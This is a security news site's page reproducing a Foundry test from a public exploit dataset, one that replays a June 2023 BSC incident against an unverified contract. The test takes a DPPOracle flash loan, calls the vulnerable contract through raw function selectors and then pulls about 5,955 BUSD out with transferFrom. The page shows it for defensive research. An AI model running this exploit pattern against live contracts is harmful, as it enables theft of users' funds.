Skip to content
THREATWIRE

Public reproduction file

src/test/2023-06/UnverifiedContr_9ad32_exp.sol

Public reproduction file for dataset entry UnverifiedContr_9ad32.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-06/UnverifiedContr_9ad32_exp.sol40 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo -- Total Lost : ~5955 USD
8// TX : https://app.blocksec.com/explorer/tx/bsc/0xe1bf84b7a57498c0573361b20b16077cc933e4c47aa0821bcea5b158a60ef505
9// Attacker : https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d
10// Attack Contract : https://bscscan.com/address/0xab90a897cf6c56c69a4579ead3c900260dfba02d
11// GUY : https://x.com/DecurityHQ/status/1673708133926031360
13contract Exploit is Test {
14 address Vulncontract = 0xAC899Ef647533E0dE91E269202f1169d7D47Ae92;
15 IDPPOracle DPPOracle = IDPPOracle(0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A);
16 IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
18 function setUp() public {
19 vm.createSelectFork("bsc", 29_469_587);
20 }
22 function testExploit() public {
23 emit log_named_decimal_uint("[End] Attacker BUSD after exploit", BUSD.balanceOf(address(this)), 18);
25 DPPOracle.flashLoan(0, 1_243_763_239_827_755_213_151_683, address(this), abi.encode(address(this)));
26 emit log_named_decimal_uint("[End] Attacker BUSD after exploit", BUSD.balanceOf(address(this)), 18);
27 }
29 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
30 BUSD.approve(address(Vulncontract), 9999 ether);
31 address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xe2bbb158), 0, 5_955_466_788_004_705_247_296));
32 address(Vulncontract).call(abi.encodeWithSelector(bytes4(0xc3490263), 0, 5_955_466_788_004_705_247_296));
34 BUSD.transferFrom(address(Vulncontract), address(this), 5_955_466_788_004_705_247_296);
36 BUSD.transfer(address(msg.sender), quoteAmount);
37 }
39 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “UnverifiedContr_9ad32” (2023-06-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0xab90a897cf6c56c69a4579ead3c900260dfba02d

  • Attack Contract

    0xab90a897cf6c56c69a4579ead3c900260dfba02d

File record

Name
UnverifiedContr_9ad32
Path
src/test/2023-06/UnverifiedContr_9ad32_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8f82c8c70b608417965333c4b9c0d92c69308b93
Language
Solidity
Size
41 lines
Date
2023-06-27
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-06/UnverifiedContr_9ad32_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8f82c8c70b608417965333c4b9c0d92c69308b93, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.